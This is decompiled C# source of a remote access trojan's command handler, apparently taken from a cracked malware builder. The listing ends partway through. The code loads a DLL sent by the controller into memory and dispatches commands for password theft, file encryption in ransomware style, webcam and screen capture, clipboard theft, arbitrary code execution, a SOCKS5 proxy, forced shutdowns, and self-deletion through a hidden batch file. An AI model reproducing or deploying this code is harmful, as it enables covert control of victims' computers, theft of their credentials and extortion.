2127 lines
94 KiB
C#
2127 lines
94 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: HandlePacket
|
|
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
|
|
|
using Microsoft.Win32;
|
|
using Stuff;
|
|
using System;
|
|
using System.Collections.Concurrent;
|
|
using System.Collections.Generic;
|
|
using System.Diagnostics;
|
|
using System.Drawing;
|
|
using System.IO;
|
|
using System.Reflection;
|
|
using System.Security.Cryptography;
|
|
using System.Text;
|
|
using System.Threading.Tasks;
|
|
using System.Windows.Forms;
|
|
|
|
#nullable disable
|
|
public class HandlePacket
|
|
{
|
|
private ConcurrentDictionary<string, ConcurrentDictionary<int, byte[]>> ReceivedChunks = new ConcurrentDictionary<string, ConcurrentDictionary<int, byte[]>>();
|
|
private ConcurrentDictionary<string, int> TotalChunks = new ConcurrentDictionary<string, int>();
|
|
private static Socks5Server socksServer;
|
|
private readonly SillyClient sillyclient;
|
|
private Assembly asm;
|
|
private bool _dllLoaded;
|
|
private ConcurrentDictionary<string, MemoryStream> DllBuffers = new ConcurrentDictionary<string, MemoryStream>();
|
|
private ConcurrentDictionary<string, long> ExpectedSizes = new ConcurrentDictionary<string, long>();
|
|
private ConcurrentDictionary<string, string> ExpectedHashes = new ConcurrentDictionary<string, string>();
|
|
|
|
public Assembly DllAssembly => this.asm;
|
|
|
|
public bool IsDllLoaded => this._dllLoaded;
|
|
|
|
public HandlePacket(SillyClient client)
|
|
{
|
|
this.sillyclient = client ?? throw new ArgumentNullException(nameof(client));
|
|
}
|
|
|
|
private void SendError(string message)
|
|
{
|
|
Console.WriteLine("ERROR: " + message);
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "Error");
|
|
pack.SetString("Error", $"(From {Environment.UserName}): {message}");
|
|
this.sillyclient.Send(pack.Pacc());
|
|
}
|
|
|
|
public void SendSuccess(string message)
|
|
{
|
|
Console.WriteLine("SUCCESS: " + message);
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "Success");
|
|
pack.SetString("Message", $"(From {Environment.UserName}): {message}");
|
|
this.sillyclient.Send(pack.Pacc());
|
|
}
|
|
|
|
private void SendInfo(string message)
|
|
{
|
|
Console.WriteLine("Info: " + message);
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "PluginMessage");
|
|
pack.SetString("Message", $"(From {Environment.UserName}): {message}");
|
|
this.sillyclient.Send(pack.Pacc());
|
|
}
|
|
|
|
private string ComputeSha256(byte[] data)
|
|
{
|
|
return BitConverter.ToString(SHA256.Create().ComputeHash(data)).Replace("-", "").ToLowerInvariant();
|
|
}
|
|
|
|
private void HandleDllStart(Unpack unpack)
|
|
{
|
|
string asString = unpack.GetAsString("TransferId");
|
|
long asLong = unpack.GetAsLong("Size");
|
|
string lowerInvariant = unpack.GetAsString("Hash").ToLowerInvariant();
|
|
int asInteger = unpack.GetAsInteger("TotalChunks");
|
|
this.SendInfo($"Starting transfer {asString} on client {Environment.UserName}@{Environment.MachineName} for {asInteger.ToString()} chunks");
|
|
this.DllBuffers[asString] = new MemoryStream();
|
|
this.ExpectedSizes[asString] = asLong;
|
|
this.ExpectedHashes[asString] = lowerInvariant;
|
|
this.ReceivedChunks[asString] = new ConcurrentDictionary<int, byte[]>();
|
|
this.TotalChunks[asString] = asInteger;
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "DLL_CHUNK_ACK");
|
|
pack.SetString("TransferId", asString);
|
|
pack.SetInt("ChunkIndex", -1);
|
|
this.sillyclient.Send(pack.Pacc());
|
|
}
|
|
|
|
private void HandleDllChunk(Unpack unpack)
|
|
{
|
|
string asString = unpack.GetAsString("TransferId");
|
|
int asInteger = unpack.GetAsInteger("ChunkIndex");
|
|
byte[] asByteArray = unpack.GetAsByteArray("Data");
|
|
if (!this.ReceivedChunks.ContainsKey(asString) || this.ReceivedChunks[asString].ContainsKey(asInteger))
|
|
return;
|
|
this.ReceivedChunks[asString][asInteger] = asByteArray;
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "DLL_CHUNK_ACK");
|
|
pack.SetString("TransferId", asString);
|
|
pack.SetInt("ChunkIndex", asInteger);
|
|
this.sillyclient.Send(pack.Pacc());
|
|
}
|
|
|
|
private void HandleDllEnd(Unpack unpack)
|
|
{
|
|
string asString = unpack.GetAsString("TransferId");
|
|
if (!this.ReceivedChunks.ContainsKey(asString))
|
|
return;
|
|
int totalChunk = this.TotalChunks[asString];
|
|
for (int key = 0; key < totalChunk; ++key)
|
|
{
|
|
if (!this.ReceivedChunks[asString].ContainsKey(key))
|
|
{
|
|
this.SendError($"Missing chunk {key}, retrying transfer to {Environment.UserName}@{Environment.MachineName}");
|
|
this.CleanupDll(asString);
|
|
this.RetryDll();
|
|
return;
|
|
}
|
|
}
|
|
byte[] array;
|
|
using (MemoryStream memoryStream = new MemoryStream())
|
|
{
|
|
for (int key = 0; key < totalChunk; ++key)
|
|
memoryStream.Write(this.ReceivedChunks[asString][key], 0, this.ReceivedChunks[asString][key].Length);
|
|
array = memoryStream.ToArray();
|
|
}
|
|
if ((long)array.Length != this.ExpectedSizes[asString])
|
|
{
|
|
this.SendError($"Size mismatch. Expected {this.ExpectedSizes[asString]}, got {array.Length}");
|
|
this.CleanupDll(asString);
|
|
this.RetryDll();
|
|
}
|
|
else
|
|
{
|
|
string sha256 = this.ComputeSha256(array);
|
|
if (sha256 != this.ExpectedHashes[asString])
|
|
{
|
|
this.SendError($"Hash mismatch. Expected {this.ExpectedHashes[asString]}, got {sha256}");
|
|
this.CleanupDll(asString);
|
|
this.RetryDll();
|
|
}
|
|
else
|
|
{
|
|
try
|
|
{
|
|
this.asm = Assembly.Load(array);
|
|
this._dllLoaded = true;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
this.SendError("Failed to load assembly. Possible corruption, runtime block or antivirus restriction: " + ex.Message);
|
|
this.CleanupDll(asString);
|
|
return;
|
|
}
|
|
try
|
|
{
|
|
Type type = this.asm.GetType("Core.EntryPoint", false, true);
|
|
if (type == (Type)null)
|
|
{
|
|
this.SendError("EntryPoint type not found in DLL, maybe is corrupted?");
|
|
this.CleanupDll(asString);
|
|
}
|
|
else
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
type.GetMethod("Start")?.Invoke((object)null, new object[1]
|
|
{
|
|
(object) clientBridge
|
|
});
|
|
type.GetMethod("SendInfo")?.Invoke((object)null, new object[1]
|
|
{
|
|
(object) clientBridge
|
|
});
|
|
this.SendSuccess("DLL loaded and bridge initialized successfully");
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
this.SendError("DLL execution failed: " + ex.Message);
|
|
}
|
|
finally
|
|
{
|
|
this.CleanupDll(asString);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
private void RetryDll()
|
|
{
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "DLLStart");
|
|
this.sillyclient.Send(pack.Pacc());
|
|
}
|
|
|
|
private void CleanupDll(string transferId)
|
|
{
|
|
MemoryStream memoryStream;
|
|
if (this.DllBuffers.TryRemove(transferId, out memoryStream) && memoryStream != null)
|
|
{
|
|
memoryStream.Dispose();
|
|
}
|
|
this.ExpectedSizes.TryRemove(transferId, out long _);
|
|
this.ExpectedHashes.TryRemove(transferId, out string _);
|
|
ConcurrentDictionary<int, byte[]> concurrentDictionary;
|
|
if (this.ReceivedChunks.TryRemove(transferId, out concurrentDictionary))
|
|
{
|
|
foreach (KeyValuePair<int, byte[]> keyValuePair in concurrentDictionary)
|
|
keyValuePair.Value?.Initialize();
|
|
}
|
|
this.TotalChunks.TryRemove(transferId, out int _);
|
|
}
|
|
|
|
private void cmd(string cmdname)
|
|
{
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) cmdname
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine($"Error invoking {cmdname}{ex?.ToString()}");
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process Beep.");
|
|
}
|
|
|
|
public void Run(byte[] packet)
|
|
{
|
|
if (packet == null)
|
|
return;
|
|
Unpack unpack = new Unpack();
|
|
unpack.Unpacc(packet);
|
|
string asString1 = unpack.GetAsString("Packet");
|
|
if (asString1 != "Ping")
|
|
Console.WriteLine("Processing packet: " + asString1);
|
|
// ISSUE: reference to a compiler-generated method
|
|
switch (asString1)
|
|
{
|
|
case "Xbox": {
|
|
this.cmd("xbox");
|
|
return;
|
|
}
|
|
break;
|
|
case "LoopScreen": {
|
|
this.cmd("LoopScreen");
|
|
return;
|
|
}
|
|
break;
|
|
case "Undark": {
|
|
this.cmd("Undark");
|
|
return;
|
|
}
|
|
break;
|
|
case "regenable": {
|
|
this.cmd("regenable");
|
|
return;
|
|
}
|
|
break;
|
|
case "Uncat": {
|
|
this.cmd("Uncat");
|
|
return;
|
|
}
|
|
break;
|
|
case "Beep": {
|
|
this.cmd("Beep");
|
|
return;
|
|
}
|
|
break;
|
|
case "Encrypt": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
string asString2 = unpack.GetAsString("Password");
|
|
string asString3 = unpack.GetAsString("Content");
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) $"encrypt#{asString2}#{asString3}"
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking Encrypt: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process Encrypt.");
|
|
return;
|
|
}
|
|
break;
|
|
case "Roblox": {
|
|
this.cmd("roblox");
|
|
return;
|
|
}
|
|
break;
|
|
case "Draw": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
string asString4 = unpack.GetAsString("data");
|
|
int asInteger1 = unpack.GetAsInteger("w");
|
|
int asInteger2 = unpack.GetAsInteger("h");
|
|
string base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(asString4));
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) $"draw#{base64String}#{asInteger1}#{asInteger2}"
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking Draw: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process Draw.");
|
|
return;
|
|
}
|
|
break;
|
|
case "Restore": {
|
|
this.cmd("Restore");
|
|
return;
|
|
}
|
|
break;
|
|
case "TrapMouse": {
|
|
this.cmd("TrapMouse");
|
|
return;
|
|
}
|
|
break;
|
|
case "GetScreen": {
|
|
this.cmd("GetScreen");
|
|
return;
|
|
}
|
|
break;
|
|
case "Notify": {
|
|
string asString5 = unpack.GetAsString("title");
|
|
string asString6 = unpack.GetAsString("content");
|
|
NotifyIcon notify = new NotifyIcon()
|
|
{
|
|
Visible = true,
|
|
Icon = SystemIcons.Asterisk,
|
|
BalloonTipTitle = asString6,
|
|
BalloonTipText = asString5,
|
|
BalloonTipIcon = ToolTipIcon.None
|
|
};
|
|
notify.ShowBalloonTip(7000);
|
|
Timer timer = new Timer();
|
|
timer.Interval = 7000;
|
|
timer.Tick += (EventHandler)((s, e) =>
|
|
{
|
|
notify.Dispose();
|
|
timer.Stop();
|
|
timer.Dispose();
|
|
});
|
|
timer.Start();
|
|
return;
|
|
}
|
|
break;
|
|
case "DLL_CHUNK": {
|
|
this.HandleDllChunk(unpack);
|
|
return;
|
|
}
|
|
break;
|
|
case "Wallpaper": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
string asString7 = unpack.GetAsString("Image");
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) ("Wallpaper#" + asString7)
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking wallpaper: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process wallpaper.");
|
|
return;
|
|
}
|
|
break;
|
|
case "Decrypt": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
string asString8 = unpack.GetAsString("Password");
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) ("Decrypt#" + asString8)
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking Decrypt: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process Decrypt.");
|
|
return;
|
|
}
|
|
break;
|
|
case "DeviceRequest": {
|
|
if (!this._dllLoaded || this.asm == (Assembly)null)
|
|
return;
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Device", BindingFlags.Static | BindingFlags.Public);
|
|
if (!(method != (MethodInfo)null))
|
|
return;
|
|
method.Invoke((object)null, new object[1]
|
|
{
|
|
(object) unpack
|
|
});
|
|
return;
|
|
}
|
|
break;
|
|
case "Minecraft": {
|
|
this.cmd("Minecraft");
|
|
return;
|
|
}
|
|
break;
|
|
case "ChangePassword": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
string asString9 = unpack.GetAsString("Password");
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) ("ChangePassword#" + asString9)
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking ChangePassword: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process ChangePassword.");
|
|
return;
|
|
}
|
|
break;
|
|
case "UntrapMouse": {
|
|
this.cmd("UntrapMouse");
|
|
return;
|
|
}
|
|
break;
|
|
case "Chat": {
|
|
this.cmd("Chat");
|
|
return;
|
|
}
|
|
break;
|
|
case "LogOff": {
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "PluginMessage");
|
|
pack.SetString("Message", $"(From {Environment.UserName}): Log off in progress");
|
|
this.sillyclient.Send(pack.Pacc());
|
|
new Process()
|
|
{
|
|
StartInfo = new ProcessStartInfo()
|
|
{
|
|
FileName = "cmd",
|
|
Arguments = "/c Shutdown /l /f",
|
|
WindowStyle = ProcessWindowStyle.Hidden,
|
|
CreateNoWindow = true
|
|
}
|
|
}.Start();
|
|
return;
|
|
}
|
|
break;
|
|
case "PortSpy": {
|
|
this.cmd("PortSpy");
|
|
return;
|
|
}
|
|
break;
|
|
case "Caps": {
|
|
this.cmd("Caps");
|
|
return;
|
|
}
|
|
break;
|
|
case "Firefox": {
|
|
this.cmd("Firefox");
|
|
return;
|
|
}
|
|
break;
|
|
case "Execute": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
string asString10 = unpack.GetAsString("Type");
|
|
string str = unpack.GetAsString("Code").Replace("// Type your code here! :)", "");
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) $"execute#{asString10}#{str}"
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking Execute: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process Execute.");
|
|
return;
|
|
}
|
|
break;
|
|
case "DLL_END": {
|
|
this.HandleDllEnd(unpack);
|
|
return;
|
|
}
|
|
break;
|
|
case "Notepad": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
string asString11 = unpack.GetAsString("Title");
|
|
string asString12 = unpack.GetAsString("Content");
|
|
string str = Path.Combine(Path.GetTempPath(), $"{asString11}_{Helpers.Random(3)}");
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) $"Notepad#{asString12}#{str}"
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking notepad: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process notepad.");
|
|
return;
|
|
}
|
|
break;
|
|
case "MicToggle": {
|
|
this.cmd("MicToggle");
|
|
return;
|
|
}
|
|
break;
|
|
case "Kill": {
|
|
Pack pack1 = new Pack();
|
|
pack1.SetString("Packet", "PluginMessage");
|
|
pack1.SetString("Message", $"(From {Environment.UserName}): Removing configurations & files");
|
|
this.sillyclient.Send(pack1.Pacc());
|
|
if (Config.Startup)
|
|
{
|
|
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", RegistryKeyPermissionCheck.ReadWriteSubTree);
|
|
registryKey.DeleteValue(Path.GetFileNameWithoutExtension(Assembly.GetExecutingAssembly().Location));
|
|
registryKey.Close();
|
|
}
|
|
string path = Path.GetTempFileName() + ".bat";
|
|
using (StreamWriter streamWriter = new StreamWriter(path))
|
|
{
|
|
streamWriter.WriteLine("@echo off");
|
|
streamWriter.WriteLine("timeout 3 > NUL");
|
|
streamWriter.WriteLine("CD " + Application.StartupPath);
|
|
streamWriter.WriteLine($"DEL \"{Path.GetFileName(Application.ExecutablePath)}\" /f /q");
|
|
streamWriter.WriteLine("CD " + Path.GetTempPath());
|
|
streamWriter.WriteLine($"DEL \"{Path.GetFileName(path)}\" /f /q");
|
|
}
|
|
Process.Start(new ProcessStartInfo()
|
|
{
|
|
FileName = path,
|
|
CreateNoWindow = true,
|
|
ErrorDialog = false,
|
|
UseShellExecute = false,
|
|
WindowStyle = ProcessWindowStyle.Hidden
|
|
});
|
|
Pack pack2 = new Pack();
|
|
pack2.SetString("Packet", "Error");
|
|
pack2.SetString("Packet", $"(From {Environment.UserName}): The program was deleted from the client");
|
|
Environment.Exit(0);
|
|
return;
|
|
}
|
|
break;
|
|
case "TTS": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
string asString13 = unpack.GetAsString("Text");
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) ("TTS#" + asString13)
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking TTS: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process TTS.");
|
|
return;
|
|
}
|
|
break;
|
|
case "StopMelt": {
|
|
this.cmd("StopMelt");
|
|
return;
|
|
}
|
|
break;
|
|
case "PC": {
|
|
this.cmd("PC");
|
|
return;
|
|
}
|
|
break;
|
|
case "Restart": {
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "PluginMessage");
|
|
pack.SetString("Message", $"(From {Environment.UserName}): Restart in progress");
|
|
this.sillyclient.Send(pack.Pacc());
|
|
new Process()
|
|
{
|
|
StartInfo = new ProcessStartInfo()
|
|
{
|
|
FileName = "cmd",
|
|
Arguments = "/c Shutdown /r /f /t 0",
|
|
WindowStyle = ProcessWindowStyle.Hidden,
|
|
CreateNoWindow = true
|
|
}
|
|
}.Start();
|
|
return;
|
|
}
|
|
break;
|
|
case "Sleep": {
|
|
this.cmd("sleep");
|
|
return;
|
|
}
|
|
break;
|
|
case "Website": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
string asString14 = unpack.GetAsString("URL");
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) ("website#" + asString14)
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking website: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process website.");
|
|
return;
|
|
}
|
|
break;
|
|
case "Bypass": {
|
|
this.cmd("bypass");
|
|
return;
|
|
}
|
|
break;
|
|
case "StartRecording": {
|
|
this.cmd("StartRecording");
|
|
return;
|
|
}
|
|
break;
|
|
case "CloseChat": {
|
|
this.cmd("CloseChat");
|
|
return;
|
|
}
|
|
break;
|
|
case "RegistryRequest": {
|
|
if (!this._dllLoaded || this.asm == (Assembly)null)
|
|
return;
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Reg", BindingFlags.Static | BindingFlags.Public);
|
|
if (!(method != (MethodInfo)null))
|
|
return;
|
|
method.Invoke((object)null, new object[1]
|
|
{
|
|
(object) unpack
|
|
});
|
|
return;
|
|
}
|
|
break;
|
|
case "cmdenable": {
|
|
this.cmd("cmdenable");
|
|
return;
|
|
}
|
|
break;
|
|
case "Mute": {
|
|
this.cmd("Mute");
|
|
return;
|
|
}
|
|
break;
|
|
case "GetWebcams": {
|
|
this.cmd("GetWebcams");
|
|
return;
|
|
}
|
|
break;
|
|
case "GetPassword": {
|
|
this.cmd("getpassword");
|
|
return;
|
|
}
|
|
break;
|
|
case "Clientinfo": {
|
|
this.cmd("Clientinfo");
|
|
return;
|
|
}
|
|
break;
|
|
case "Dark": {
|
|
this.cmd("Dark");
|
|
return;
|
|
}
|
|
break;
|
|
case "Report": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
string asString15 = unpack.GetAsString("Name");
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) ("Report#" + asString15)
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking Report: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process Report.");
|
|
return;
|
|
}
|
|
break;
|
|
case "Jigsaw": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) $"Jigsaw#{unpack.GetAsString("Game")}#{unpack.GetAsString("Score")}#{unpack.GetAsString("Action")}"
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking Jigsaw: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process Jigsaw.");
|
|
return;
|
|
}
|
|
break;
|
|
case "FileSearch": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
string asString16 = unpack.GetAsString("Extension");
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) ("FileSearch#" + asString16)
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking FileSearch: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process FileSearch.");
|
|
return;
|
|
}
|
|
break;
|
|
case "StopProxy": {
|
|
try
|
|
{
|
|
HandlePacket.socksServer?.Stop();
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "Success");
|
|
pack.SetString("Message", $"(From {Environment.UserName}): SOCKS5 proxy stopped");
|
|
this.sillyclient.Send(pack.Pacc());
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "Error");
|
|
pack.SetString("Message", $"(From {Environment.UserName}): {ex.Message}");
|
|
this.sillyclient.Send(pack.Pacc());
|
|
return;
|
|
}
|
|
}
|
|
break;
|
|
case "Share": {
|
|
string asString17 = unpack.GetAsString("Host");
|
|
string asString18 = unpack.GetAsString("Port");
|
|
this.SendInfo($"Sharing client with {asString17}:{asString18}...");
|
|
ShareClient.Clone(asString17, asString18);
|
|
this.SendSuccess("Sharing should be ready, ask your friend if he got the client");
|
|
return;
|
|
}
|
|
break;
|
|
case "GetClipboard": {
|
|
this.cmd("GetClipboard");
|
|
return;
|
|
}
|
